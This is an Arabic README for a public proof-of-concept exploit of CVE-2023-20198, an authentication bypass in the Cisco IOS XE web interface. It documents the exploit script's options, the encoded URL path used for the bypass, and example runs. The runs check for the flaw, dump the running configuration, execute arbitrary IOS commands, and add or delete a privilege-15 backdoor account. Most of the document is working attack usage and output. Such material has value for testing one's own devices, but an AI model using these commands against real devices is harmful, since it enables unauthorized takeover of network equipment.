
استغلال PoC لـ CVE-2023-20198
تتميز CVE-2023-20198 بوجود تحقق غير صحيح من المسار للالتفاف على تصفية Nginx للوصول إلى نقطة نهاية الويب webui_wsma_http دون الحاجة إلى مصادقة.
من خلال تجاوز المصادقة إلى نقطة النهاية، يمكن للمهاجم تنفيذ أوامر Cisco IOS عشوائية أو إصدار تغييرات في التكوين بصلاحيات Privilege 15.
كشف تحقيق Cisco حول الاستغلال النشط للثغرة غير المُعلن عنها سابقًا أن الجهات الفاعلة استغلت أولاً CVE-2023-20198 لإضافة مستخدم جديد بصلاحية Privilege level 15. وشملت الهجمات الإضافية استغلال CVE-2023-20273 لتصعيد الصلاحيات إلى مستخدم root في نظام التشغيل Linux الأساسي لتسهيل زرع البرامج الضارة.
يستغل هذا الـ PoC ثغرة CVE-2023-20198 للاستفادة من نقطتي نهاية مختلفتين لـ XML SOAP:
تستهدف خيارات فحص الثغرة والتكوين وتنفيذ الأوامر جميعها نقطة نهاية SOAP الخاصة بـ cisco:wsma-exec لإدراج الأوامر داخل وسم العنصر execCLI.
يستهدف خيار إضافة المستخدم نقطة نهاية SOAP الخاصة بـ cisco:wsma-config لإصدار تغيير في التكوين وإضافة حساب Privilege 15. يمكن إساءة استخدام نقطة النهاية هذه لإجراء تغييرات أخرى في التكوين، لكن ذلك خارج نطاق هذا الـ PoC.
جاء إساءة استخدام نقطة نهاية SOAP الخاصة بـ cisco:wsma-exec من قالب nuclei
وجاء إساءة استخدام نقطة نهاية SOAP الخاصة بـ cisco:wsma-config من horizon3ai PoC
ملاحظة: لم أُجرِ أيًا من الأبحاث الأصلية أو تطوير الـ PoC لهذه الثغرة. راجع قسم المراجع للاعتماد.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
للتحقق من CVE-2023-20198، سيحاول -c استغلال الثغرة لتنفيذ uname -a
مثال:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
يقوم الخيار -g بتنفيذ sh run لسحب التكوين الجاري
مثال:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
يمكن تنفيذ أوامر Cisco IOS عشوائية باستخدام الخيار -e.
يجب توخي الحذر الشديد عند استخدام هذا لإجراء تغييرات في التكوين. لا يوجد تحقق من الإدخال ويتم تطبيق التغييرات فورًا على التكوين الجاري.
مثال:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
يمكن استخدام الخيار -a لإنشاء حساب مستخدم جديد بصلاحية Privilege 15، مع إمكانية تحديد اسم الحساب وكلمة المرور باستخدام -u و -p على التوالي.
مثال:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
يمكن استخدام الخيار -d لإزالة حساب مستخدم من الجهاز، ويحترم اسم المستخدم المحدد باستخدام -u.
يجب توخي الحذر للتأكد من أنك لا تحذف حسابًا شرعيًا.
أُضيف هذا للحالات التي لا يمكن فيها الحصول على وصول shell/webui إلى جهاز Cisco المُخترق. وقد لوحظ أن إضافة مستخدم بصلاحية Privilege 15 لا تمنح وصولاً إلى webui وقد تؤدي إلى ترك آثار استغلال على المضيفين.
نشرة Cisco الأمنية
بحث horizon3ai عن CVE-2023-20198
PoC من horizon3ai لـ CVE-2023-20198